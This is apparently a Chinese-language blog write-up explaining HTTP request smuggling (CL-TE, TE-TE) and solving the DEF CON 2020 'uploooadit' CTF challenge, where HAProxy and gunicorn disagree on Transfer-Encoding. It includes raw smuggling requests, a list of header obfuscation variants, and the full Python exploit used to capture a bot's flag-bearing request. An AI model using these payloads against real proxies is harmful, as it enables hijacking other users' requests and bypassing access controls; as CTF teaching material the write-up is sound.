http走私 http走私 dc题目

在http1.1中处理post请求时,除了Content-Length请求头外,还有一个Transfer-Encoding请求头,简称为CL和TE,而TE有几种选项:
chunked/compress/deflate/gzip/identity

设置了 Transfer-Encoding: chunked 后,请求主体按一系列块的形式发送,并将省略 Content-Length。在每个块的开头需要用十六进制数指明当前块的长度,数值后接 (占 2 字节),然后是块的内容,再接 表示此块结束。最后用长度为 0 的块表示终止块。终止块后是一个 trailer,由 0 或多个实体头组成,可以用来存放对数据的数字签名等。

那么如果前端和后端对CL、TE处理的优先级不同,可能将导致http走私

以CL-TE为例,假设请求如下

POST / HTTP/1.1
Host: xxx
Content-Length: 41
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: 127.0.0.1

前端使用CL将下面的数据都当作POST请求传给后端:

0

GET /admin HTTP/1.1
Host: 127.0.0.1

而后端认为TE优先级较高,所以遇到Transfer-Encoding: chunked自动忽略了Content-Length,并开始读取内容,直到遇到0 停止,那么后面的GET请求便会被放入缓存区

GET /admin HTTP/1.1
Host: 127.0.0.1

再一次发送一个请求便会被拼接到一起,那么这个GET即被走私

GET /admin HTTP/1.1
Host: 127.0.0.1

POST / HTTP/1.1

https://xz.aliyun.com/t/7501#toc-5

TE-CL与CL-TE类似,下面结合一道题说一下TE-TE

dc题目

https://uploooadit.oooverflow.io/

app.py
store.py

先看app.py的路由
http走私
http走私
dc题目
/files/[POST]判断Content-Type是否为text/plain,然后提取X-guid头信息,并将其存入aws

/files/<guid>[GET]也就是将上一步存入的信息读出来

并且guid需要符合这个正则
http走私
http走私
dc题目
POST /files/
http走私
http走私
dc题目
GET /files/<guid>
http走私
http走私
dc题目
可以看到后端server是gunicorn20.0.0,如果直接访问不存在的guid他将返回给我们当前的前端server为haproxy1.9.10
http走私
http走私
dc题目
跟进这篇文章:https://nathandavison.com/blog/haproxy-http-request-smuggling

可以知道haproxy和gunicorn20.0.0错误结合使用会导致http走私

跟进下图可知haproxy是优先支持TE的
http走私
http走私
dc题目
那么如果我们在chunked前面加上一些字符,就可以导致haproxy不能正确识别,x0b是垂直换行符,然后将整个数据发给后端,后端如果设法去解析TE的话就可能产生TE-TE的走私
http走私
http走私
dc题目
http走私
http走私
dc题目
这里除了x0b,以下情况也可以尝试:

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked

Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

GET / HTTP/1.1
 Transfer-Encoding: chunked
X: X[
]Transfer-Encoding: chunked

Transfer-Encoding
 : chunked

The Desync can only help us in poisoning the sockets of the backend server, But if we assume that there can be a Bot that is hitting the backend server in intervals with the flag in it’s HTTP request, then the whole scenario starts making sense.
Desync只能帮助我们中毒后端服务器的套接字,但是,如果我们假设可能有一个Bot在HTTP请求中带有标记的间隔内命中后端服务器,那么整个情况就变得有意义了。

那么如果我们构造一个以下类似请求:

POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Content-Length: 175
Content-type: text/plain
Connection: keep-alive
X-guid: 00000000-0000-0666-1234-0000ffa20000
Transfer-Encoding:[x0b]chunked #这里x0b尚未解析

0

POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Connection: close
x-guid: 00000000-0000-0666-1234-0000ffa20000
Content-Type: text/plain
Content-Length: 387

A

如果此时有一个bot向服务器提交flag信息,那么就会被拼接到我们的第二个请求中,然后一并写入guid

然后我测的时候却总不能得到flag,反而偶然抓到了别人的请求?
http走私
http走私
dc题目
感觉可能是x0b编码问题,所以还是用python发请求吧,附上官方exp:

#!/usr/bin/env python3
import socket
import ssl
import sys
import uuid
import requests

CLTE_TEMPLATE = """GET / HTTP/1.1
Host: {hostname}
User-Agent: attacker
Content-Length: {length}
Transfer-Encoding:x0bchunked
0
"""

GUID = str(uuid.uuid4())

def request(content, hostname, port):
    print(content)
    print()

    def issue_request(server):
        assert server.send(content) == len(content)
        data = server.recv(1024)
        while len(data) > 0:
            print(data.decode("utf-8"))
            data = server.recv(1024)

    with socket.create_connection((hostname, port)) as raw_socket:
        if port == 443:
            context = ssl.create_default_context()
            with context.wrap_socket(raw_socket, server_hostname=hostname) as server:
                issue_request(server)
        else:
            issue_request(raw_socket)
        try:
            raw_socket.shutdown(socket.SHUT_RDWR)
        except:
            pass

def clte(payload, hostname):
    offset = 5 + payload.count("
")
    return (
        (CLTE_TEMPLATE.format(hostname=hostname, length=len(payload) + offset) + payload)
        .replace("
", "
")
        .encode("utf-8")
    )


def main():
    if len(sys.argv) == 2 and sys.argv[1] == "--local":
        hostname = "localhost"
        port = 8080
        url = f"http://localhost:8080/files/{GUID}"
    else:
        hostname = "uploooadit.oooverflow.io"
        port = 443
        url = f"https://uploooadit.oooverflow.io/files/{GUID}"

    payload = f"""POST /files/ HTTP/1.1
Connection: close
Content-Length: 385
Content-Type: text/plain
User-Agent: hacked
X-guid: {GUID}
"""

    request(clte(payload, hostname), hostname, port)
    response = requests.get(url)
    print(response.content.decode("utf-8"))

if __name__ == "__main__":
    sys.exit(main())

http走私
http走私
dc题目
把请求拿下来看看:

b'GET / HTTP/1.1
Host: uploooadit.oooverflow.io
User-Agent: attacker
Content-Length: 162
Transfer-Encoding:x0bchunked

0

POST /files/ HTTP/1.1
Connection: close
Content-Length: 385
Content-Type: text/plain
User-Agent: hacked
X-guid: a5306687-12f7-4f05-9b72-6461dfd14a95

'

http走私
http走私
dc题目
这里的x0b就被正常解析成垂直换行了,达到前后不同步
http走私
http走私
dc题目

reference:
https://blog.shoebpatel.com/2020/05/18/DefCon-CTF-2020-HTTP-Desync-between-HAProxy-Gunicorn/
https://github.com/o-o-overflow/dc2020q-uploooadit/blob/master/scripts/attack.py#L4
https://ctftime.org/writeup/20655